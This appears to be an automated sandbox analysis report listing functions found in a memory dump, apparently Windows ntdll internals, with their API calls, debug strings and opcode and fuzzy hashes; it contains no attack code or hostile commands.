Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpy$ActivateActivationContextFastUnsafe
String ID: $$LdrpProcessDetachNode$Uninitializing DLL "%wZ" (Init routine: %p)$minkernel\ntdll\ldrsnap.c
API String ID: 2422247448-1066784428
Opcode ID: 91bde55e8d9cf67ceb0b56c3ff299dcaaf62a3fac2870f1867259d115d171a71
Instruction ID: 94e90db68e311b0a262912ddb15c9dffc2c208ed13a37a25cf39b4c2fbb77f92
Opcode Fuzzy Hash: 91bde55e8d9cf67ceb0b56c3ff299dcaaf62a3fac2870f1867259d115d171a71
Instruction Fuzzy Hash: 9D315E71D62208DBDB16DF68C885F9EBBB4BF09308F108099D401AF394D7B9D946CB95

Uniqueness

Uniqueness Score: -1.00%

Function 6B526243, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

RtlpGetUserOrMachineUILanguage4NLS.1105(00000001,?,?,?), ref: 6B526275

Part of subcall function 6B52CF70: RtlInitUnicodeString.1105(?,Control Panel\Desktop,?,?,?), ref: 6B52CFC1
Part of subcall function 6B52CF70: ZwOpenKey.1105(00000007,00020019,?,?,\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings,?,?,?,00000007,00020019,?,?,Control Panel\Desktop\MuiCached,?,?,?), ref: 6B52D0B8
Part of subcall function 6B52CF70: RtlInitUnicodeString.1105(?,PreferredUILanguages,00000007,00020019,?,?,\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings,?,?,?,00000007,00020019,?,?,Control Panel\Desktop\MuiCached), ref: 6B52D0CD
Part of subcall function 6B52CF70: ZwClose.1105(?,?,?,?), ref: 6B52D139
Part of subcall function 6B52CF70: ZwClose.1105(00000000,?,?,?), ref: 6B52D14E

RtlInitUnicodeString.1105(?,?,00000001,?,?,?), ref: 6B5262A4
RtlInitUnicodeString.1105(?,?,?,?,00000001,?,?,?), ref: 6B5262B7
RtlCompareUnicodeString.1105(?,?,00000001,?,?,?,?,00000001,?,?,?), ref: 6B5262CC

Part of subcall function 6B489660: RtlCompareUnicodeStrings.1105(?,?,?,?,6B567B60,?,6B4B68BE,?,00000024,00000001,?,6B4A05B9,?,?,6B567B60), ref: 6B489680

Strings

U, xrefs: 6B52625F

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: Unicode$String$Init$CloseCompare$Language4MachineOpenRtlpStringsUser
String ID: U
API String ID: 3637150059-3372436214
Opcode ID: eeb22ce50697464f19b710e4e0e3ecf20f3126bfb536dea085fe6c402dd951b8
Instruction ID: 55e91d2e1ddb7aa2a3b0dc7e1d9f8accb76ee541cf547e12dbcc720177ecde1b
Opcode Fuzzy Hash: eeb22ce50697464f19b710e4e0e3ecf20f3126bfb536dea085fe6c402dd951b8
Instruction Fuzzy Hash: A211307190522C9AEB60DB658C45FDAB3BCEB05304F4045EAD909D7184EB38DA88CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6B50FDDA, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT(?,00000000,FF676980,000000FF,00000000,00000000,?,?,?,6B4CFA1C,00000000,00000004,?,00000000,?,00000000), ref: 6B50FDFA
DbgPrintEx.1105(00000065,00000001,RTL: Enter CriticalSection Timeout (%I64u secs) %d,00000000,?,?,00000000,FF676980,000000FF,00000000,00000000,?,?,?,6B4CFA1C,00000000), ref: 6B50FE0A
DbgPrintEx.1105(00000065,00000000,RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u,?,?,00000002,?,00000000,00000004,?,00000000,?,00000000,00000000), ref: 6B50FE34

Strings

RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u, xrefs: 6B50FE2B
RTL: Enter CriticalSection Timeout (%I64u secs) %d, xrefs: 6B50FE01

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Enter CriticalSection Timeout (%I64u secs) %d$RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u
API String ID: 545360701-3903918235
Opcode ID: d26b9c5930d3e54706d831ec0463352b8b6cabfae4d4aab684443db28ad52174
Instruction ID: d78933393eec7d585434bd13ce79f5a4457c51ccf84dbb8295982f4d9b92c3f8
Opcode Fuzzy Hash: d26b9c5930d3e54706d831ec0463352b8b6cabfae4d4aab684443db28ad52174
Instruction Fuzzy Hash: 91F0F672100241BFE6200A55DC46F63BB5AEB84774F140314F728565D1EE66FC3096F4

Uniqueness

Uniqueness Score: -1.00%

Function 6B493690, Relevance: 7.9, APIs: 5, Instructions: 359COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 97caefe3d12337a8990fd1ac3c3cefdee696ddcac17acbff0761e9822d396694
Instruction ID: 0e543de25be00fb35f91bb2e67a6d4cb755024d5f7f1fac3af45b1f817912b52
Opcode Fuzzy Hash: 97caefe3d12337a8990fd1ac3c3cefdee696ddcac17acbff0761e9822d396694
Instruction Fuzzy Hash: 26D1A174E442198BDF20DF98C450AEEBBB2FF45714F95815ADC95AB344D339A882CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6B471190, Relevance: 7.7, APIs: 5, Instructions: 151COMMON

Download Yara Rule

APIs

RtlIpv4StringToAddressW.1105(00000000,?,?,00000000), ref: 6B4711B9

Part of subcall function 6B4711E0: iswctype.1105(0000000A,00000004), ref: 6B471244

iswctype.1105(00000000,00000004,00000000,?,?,00000000), ref: 6B4CEB6B

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: iswctype$AddressIpv4String
String ID:
API String ID: 1627499474-0
Opcode ID: fb804841babf00360943d9f994b3b33d5c73eef6988bae1e53c25cbdaf3f4e98
Instruction ID: c992e3c2007966f20ec592019aeb8af3703e904ed0eab3eb945da2133792987b
Opcode Fuzzy Hash: fb804841babf00360943d9f994b3b33d5c73eef6988bae1e53c25cbdaf3f4e98
Instruction Fuzzy Hash: E1412A3AA501255AE728DE64DC92FFA73B4EB04B64F20457AE441DB3C0F73CEA45D291

Uniqueness

Uniqueness Score: -1.00%

Function 6B4AF296, Relevance: 7.6, APIs: 5, Instructions: 103COMMON

Download Yara Rule

APIs

Part of subcall function 6B4AF2E0: RtlAcquireSRWLockExclusive.1105(6B5686AC,00000000,00000000,00000000,0000000C,?,6B4AF2BF,00000000,00000000,?), ref: 6B4AF2F1
Part of subcall function 6B4AF2E0: RtlReleaseSRWLockExclusive.1105(6B5686AC,?,?,6B5686AC,00000000,00000000,00000000,0000000C,?,6B4AF2BF,00000000,00000000,?), ref: 6B4AF31B

RtlAcquireSRWLockShared.1105(0000001C,00000000,00000000,?), ref: 6B4EBB5B
RtlReleaseSRWLockShared.1105(0000001C,0000001C,00000000,00000000,?), ref: 6B4EBBE9

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: Lock$AcquireExclusiveReleaseShared
String ID:
API String ID: 3474408661-0
Opcode ID: 65d40dbb536fe5b2064ec968622f95f6a950118c590bdff1e91b5ee6eb35e65a
Instruction ID: f592b8087cef4bb32cf4bf8362d1c80afe50363b403c7af802bbb748451d7c56
Opcode Fuzzy Hash: 65d40dbb536fe5b2064ec968622f95f6a950118c590bdff1e91b5ee6eb35e65a
Instruction Fuzzy Hash: CD31E575D002148ADB10DF28C881FE9B7B4BF45708F1480EDED89AB246DB796A47CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6B5040D2, Relevance: 7.6, APIs: 5, Instructions: 103COMMON

Download Yara Rule

APIs

RtlComputePrivatizedDllName_U.1105(?,?,?,00000000,00000000,?,?,?,?,00000001), ref: 6B504104
RtlFreeUnicodeString.1105(?,?,?,?,00000000,00000000,?,?,?,?,00000001), ref: 6B5041CF
RtlFreeUnicodeString.1105(?,?,?,?,?,00000000,00000000,?,?,?,?,00000001), ref: 6B5041D8

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeStringUnicode$ComputeName_Privatized
String ID:
API String ID: 3871896386-0
Opcode ID: 7f0ccbea32786f58c51fe4cf487af8eef5749277614f3754637beb9fa8debb0f
Instruction ID: 7b4ce98d3d7a30c6659b628a271d6ae6034e8062644370fcbc9df5ad66ec1345
Opcode Fuzzy Hash: 7f0ccbea32786f58c51fe4cf487af8eef5749277614f3754637beb9fa8debb0f
Instruction Fuzzy Hash: 2731A171900219ABEB10CFA8D882FEEB3B8EF75704F0145AAD854D7240EB39E955CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 6B49C4A0, Relevance: 7.6, APIs: 5, Instructions: 91timeCOMMON

Download Yara Rule

APIs

RtlAcquireSRWLockExclusive.1105(?,00000000,?,00000000,?,?,?,?,?,6B53C9F8,000000FE), ref: 6B49C4E9
RtlReleaseSRWLockExclusive.1105(?,?,?,?,00000000,?,00000000,?), ref: 6B49C52D
TpIsTimerSet.1105(?,?,?,00000000,?,00000000,?), ref: 6B49C550
RtlReleaseSRWLockExclusive.1105(?,?,?,00000000,?,00000000,?), ref: 6B4E2E52
RtlDebugPrintTimes.1105(?,?,?,?,00000000,?,00000000,?), ref: 6B4E2E69

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$Release$AcquireDebugPrintTimerTimes
String ID:
API String ID: 1747049749-0
Opcode ID: 3a5390e836e2322251f3ba531b63bd23b150d515d29519d8cb5577b2541a421d
Instruction ID: a7295a8105292ff7506f6c91160787b47befa9e7d9be812aea760547650807f1
Opcode Fuzzy Hash: 3a5390e836e2322251f3ba531b63bd23b150d515d29519d8cb5577b2541a421d
Instruction Fuzzy Hash: EF21D531A40228ABCB00AF78A851FBF7FA59F46768F04849DEC515B242DB3DD9058BD0

Uniqueness

Uniqueness Score: -1.00%

Function 6B480541, Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 170COMMON

Download Yara Rule

APIs

RtlImageNtHeaderEx.1105(00000003,?,00000000,00000000,?,000000AB,?,?,?,?,6B4804FB,6B54F890,0000001C,6B4803A8,?,00000000), ref: 6B480569
RtlInitUnicodeString.1105(?,VS_VERSION_INFO,00000020,0000005C,0000005C,00000010,00000000,00000010,?,00000001,?,00000010,?,00000010,?,00000010), ref: 6B4806E7
RtlCompareUnicodeString.1105(?,6B54F890,00000000,6B4803A8,?,VS_VERSION_INFO,00000020,0000005C,0000005C,00000010,00000000,00000010,?,00000001,?,00000010), ref: 6B480717

Part of subcall function 6B489660: RtlCompareUnicodeStrings.1105(?,?,?,?,6B567B60,?,6B4B68BE,?,00000024,00000001,?,6B4A05B9,?,?,6B567B60), ref: 6B489680

Strings

VS_VERSION_INFO, xrefs: 6B4806DE

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: Unicode$CompareString$HeaderImageInitStrings
String ID: VS_VERSION_INFO
API String ID: 1271209012-1537192461
Opcode ID: 7ebf2669fec5b7baced785e3bae0ac827f601e4e73b0315536201a9af4454cda
Instruction ID: 9cf3693f6bbf5c100f633fc0b8b0ff9916714d8d13d58438a9c0b4954876c88e
Opcode Fuzzy Hash: 7ebf2669fec5b7baced785e3bae0ac827f601e4e73b0315536201a9af4454cda
Instruction Fuzzy Hash: 4C51E331A21215AAEB10CBB5CC51FAAB7B8AF54744F14456D99A6DB3C0EB74D801CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6B4843C0, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 148COMMON

Download Yara Rule

APIs

memcpy.1105(?,00000000,00000000,00000000,00000000,00000001), ref: 6B484424
_wcsicmp.1105(MUI,?,00000000,00000000,00000001), ref: 6B4844A9
RtlLocaleNameToLcid.1105(?,?,00000003,00000000,00000000,00000001), ref: 6B484532

Strings

MUI, xrefs: 6B4844A8

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: LcidLocaleName_wcsicmpmemcpy
String ID: MUI
API String ID: 2548447388-1339004836
Opcode ID: 92e096ffa53ea00cbe9426396e4f7ad84c9c1cbf38e633060f8f9e9cd00e09c7
Instruction ID: bed56999a331a961735323cfac846e886653e712fd13579d38355cf8882c9619
Opcode Fuzzy Hash: 92e096ffa53ea00cbe9426396e4f7ad84c9c1cbf38e633060f8f9e9cd00e09c7
Instruction Fuzzy Hash: E9410A35A001258BDB10CF6DD890FAAB3BDFF41794F5181AEDE2987240EB38D945CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6B471390, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 130COMMON

Download Yara Rule

APIs

Part of subcall function 6B471783: RtlAcquireSRWLockExclusive.1105(?,6B4713C0,6B54F288,00000044), ref: 6B471793

RtlReleaseSRWLockExclusive.1105(?,6B54F288,00000044), ref: 6B471462

Part of subcall function 6B471986: RtlIsValidIndexHandle.1105(?,?,00000000,?,?,6B4713F2,6B54F288,00000044), ref: 6B471995

memcpy.1105(?,0000000E,?,6B54F288,00000044), ref: 6B47143D

Strings

#%u, xrefs: 6B4CEE91

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$AcquireHandleIndexReleaseValidmemcpy
String ID: #%u
API String ID: 1422088098-232158463
Opcode ID: 3731297b3f08ca85f11d1d4633683e67f2bef10394bb809551b46485b6429114
Instruction ID: cf3eae6dac675be70d2abdd0343a7a8478beb3ef340b477f0d0a966b58eceef3
Opcode Fuzzy Hash: 3731297b3f08ca85f11d1d4633683e67f2bef10394bb809551b46485b6429114
Instruction Fuzzy Hash: 8D410375A50234DBDB20DF58C891EDEB3B6EF85B84F254069E814AB340DB7CE842CB51

Uniqueness

Uniqueness Score: -1.00%

Function 6B4717B0, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 88COMMON

Download Yara Rule

APIs

RtlAcquireSRWLockExclusive.1105(?,6B54F2C8,00000018), ref: 6B4717D7
RtlGetIntegerAtom.1105(?,?,?,6B54F2C8,00000018), ref: 6B4717F3

Part of subcall function 6B47187D: _wcsicmp.1105(0000001C,?,?,?,00000000,?,?,?,?), ref: 6B471921

RtlReleaseSRWLockExclusive.1105(?,?,?,?,6B54F2C8,00000018), ref: 6B47185D

Part of subcall function 6B471986: RtlIsValidIndexHandle.1105(?,?,00000000,?,?,6B4713F2,6B54F288,00000044), ref: 6B471995

Strings

Atom, xrefs: 6B4717C7

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$AcquireAtomHandleIndexIntegerReleaseValid_wcsicmp
String ID: Atom
API String ID: 2453091922-2154973765
Opcode ID: 47bf4d83dd8adde356075a3767556af0baf82117b2d7a869a3a0ef495e00f83d
Instruction ID: d56305147f6113dd3c204ec47b1bbbedc91c2736956d0cf447a5e6dd03102216
Opcode Fuzzy Hash: 47bf4d83dd8adde356075a3767556af0baf82117b2d7a869a3a0ef495e00f83d
Instruction Fuzzy Hash: D2318239D50225DBDF10DFA98491EEEB369BF09B44B0241AAD964A7300D73C9942C7A5

Uniqueness

Uniqueness Score: -1.00%

Function 6B504955, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 81COMMON

Download Yara Rule

APIs

Part of subcall function 6B4A1D47: memset.1105(00000000,00000000,6B4C17F0,?,00000001,00000000,?,6B478D70,00000000,?,?,00000030,?,?,00000001,?), ref: 6B4A1D87

DbgPrintEx.1105(00000033,00000000,SXS: %s() found activation context data at %p with wrong format,RtlpQueryRunLevel,?,?,00000030,?,00000030,?,?,00000001,?,?), ref: 6B5049E1

Strings

SXS: %s() found activation context data at %p with assembly roster that has no root, xrefs: 6B5049D9
SXS: %s() found activation context data at %p with wrong format, xrefs: 6B504A03
RtlpQueryRunLevel, xrefs: 6B5049D4, 6B5049FE

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: Printmemset
String ID: RtlpQueryRunLevel$SXS: %s() found activation context data at %p with assembly roster that has no root$SXS: %s() found activation context data at %p with wrong format
API String ID: 4188176266-4139752556
Opcode ID: 25bae45d9402459f78cbb7892afc9b7827223bd196d00e7db99867c4114ac78d
Instruction ID: 380781c5ca683ed61a9d51e52da8056aa5287be30f1f668634502a1fe6dd2075
Opcode Fuzzy Hash: 25bae45d9402459f78cbb7892afc9b7827223bd196d00e7db99867c4114ac78d
Instruction Fuzzy Hash: 6921F9B2A043505FD314CE08C8C1E9BB7EDEBD5358F45466EF8559B245EA34ED40CAA1

Uniqueness

Uniqueness Score: -1.00%

Function 6B5340DC, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 71timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.1105(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6B550FE0), ref: 6B534110

Strings

RtlSetUserValueHeap, xrefs: 6B534127, 6B534184

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: DebugPrintTimes
String ID: RtlSetUserValueHeap
API String ID: 3446177414-1142157168
Opcode ID: 08e0891933a595cd8266d6d3cafacb77f88bbb70f45dbb85878d8058ae2ba924
Instruction ID: 0520455d2159435c37a31be951e4ec3f2c0e923b1cf72be679b161c100cce92c
Opcode Fuzzy Hash: 08e0891933a595cd8266d6d3cafacb77f88bbb70f45dbb85878d8058ae2ba924
Instruction Fuzzy Hash: 0921FB34901674AFEF11DFB8C841BEEBF716F55758F048098E48467391D73A4A45CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6B53387C, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.1105(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6B550F20), ref: 6B5338B3

Strings

RtlGetUserInfoHeap, xrefs: 6B5338CA, 6B533927

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: DebugPrintTimes
String ID: RtlGetUserInfoHeap
API String ID: 3446177414-1656697243
Opcode ID: 6ef5c170ef13b766a0da5c85da5578b7d5a819c5e1bf8aeaedd360db5ff54a02
Instruction ID: 15a446a6142b1066babae07f7a1beeac869ab36977262f1a17ddebf757e96388
Opcode Fuzzy Hash: 6ef5c170ef13b766a0da5c85da5578b7d5a819c5e1bf8aeaedd360db5ff54a02
Instruction Fuzzy Hash: 1A212831905268EFEF21DFB8C810BEEBF71AF02348F048098E4946B291D7394A45CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 6B534212, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 65timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.1105(?,?,6B5679A0,6B550EA8,00000024,6B4E6051,?,?,00000000,00000000,?,?,6B4A3347,?,00000000,?), ref: 6B53423F

Strings

RtlSizeHeap, xrefs: 6B53425B, 6B5342B9

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: DebugPrintTimes
String ID: RtlSizeHeap
API String ID: 3446177414-202636049
Opcode ID: 41b2654424e176aa349ac80d9b9862d67195d7e7c28de1a375a3826b0e8a199f
Instruction ID: 221c548c60eba6e59849d57a23266cc1b518e517d47c23d7488ac01c811c417a
Opcode Fuzzy Hash: 41b2654424e176aa349ac80d9b9862d67195d7e7c28de1a375a3826b0e8a199f
Instruction Fuzzy Hash: A521F3309016389FEF11DBB8C545BEEBBF1AF45758F008298E44167391EB7A5E85CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6B4F3E13, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47COMMON

Download Yara Rule

APIs

wcschr.1105(?,0000002C,?,?,00000000,?,?,6B4D060B), ref: 6B4F3E23
wcstoul.1105(-00000002,6B4D060B,00000010,?,?,00000000,?,?,6B4D060B), ref: 6B4F3E3D
DbgPrintEx.1105(00000055,00000003,CLIENT(ntdll): Tyring to fix protection for %ws section in %wZ module to 0x%X,?,?,00000000,?,?,6B4D060B), ref: 6B4F3E5A

Part of subcall function 6B4F3C93: wcschr.1105(?,0000003D,00000000,?), ref: 6B4F3CAC
Part of subcall function 6B4F3C93: RtlInitUnicodeString.1105(?,-00000002,00000000,?), ref: 6B4F3CD0
Part of subcall function 6B4F3C93: RtlAnsiStringToUnicodeString.1105(?,?,00000001,00000000,?), ref: 6B4F3D72
Part of subcall function 6B4F3C93: RtlCompareUnicodeString.1105(?,?,00000001,?,?,00000001,00000000,?), ref: 6B4F3D89
Part of subcall function 6B4F3C93: RtlFreeUnicodeString.1105(?,00000000,?), ref: 6B4F3DED

Strings

CLIENT(ntdll): Tyring to fix protection for %ws section in %wZ module to 0x%X, xrefs: 6B4F3E51

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: String$Unicode$wcschr$AnsiCompareFreeInitPrintwcstoul
String ID: CLIENT(ntdll): Tyring to fix protection for %ws section in %wZ module to 0x%X
API String ID: 2652356044-1863042022
Opcode ID: 6b1c1125106c5cea859cc5bd9ede03082bff28c213b6f6713a7f90a81b788f2f
Instruction ID: 0bafebb99d97a7fa5bdd7c9ee04addfc3b84c836bb47e85182ce0cf72f6e571e
Opcode Fuzzy Hash: 6b1c1125106c5cea859cc5bd9ede03082bff28c213b6f6713a7f90a81b788f2f
Instruction Fuzzy Hash: 23F08B3220020036E7280269AC47FA7374DCFC5A64F10006CFA1D9B281EE98DD01C1F2

Uniqueness

Uniqueness Score: -1.00%

Function 6B4ABDFC, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 40COMMON

Download Yara Rule

APIs

RtlAcquireSRWLockExclusive.1105(6B5679E4,6B568654,00000000,?,6B4B0492,00000000,?,6B4B0459,6B568654,?,?,?,6B4B042F,?,6B48ECE6,6B5684D8), ref: 6B4ABE09
RtlReleaseSRWLockExclusive.1105(6B5679E4,6B5679E4,6B568654,00000000,?,6B4B0492,00000000,?,6B4B0459,6B568654,?,?,?,6B4B042F,?,6B48ECE6), ref: 6B4ABE33
RtlReleaseSRWLockExclusive.1105(6B5679E4,6B5679E4,6B568654,00000000,?,6B4B0492,00000000,?,6B4B0459,6B568654,?,?,?,6B4B042F,?,6B48ECE6), ref: 6B4ABE58

Part of subcall function 6B4ABE62: ZwProtectVirtualMemory.1105(000000FF,?,00000000,-00000F38,-00000F38,?), ref: 6B4ABE97

Strings

yVk, xrefs: 6B4ABE03

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$Release$AcquireMemoryProtectVirtual
String ID: yVk
API String ID: 1407556199-1191055531
Opcode ID: 3a4c0eb35235812ddd8a4d6b09055b798fefab211172dcc7776a25620f3e2006
Instruction ID: e7f6aef60dbf6f990a36bf80c6488d16a9a419c358c2cdd8452b063358f53a05
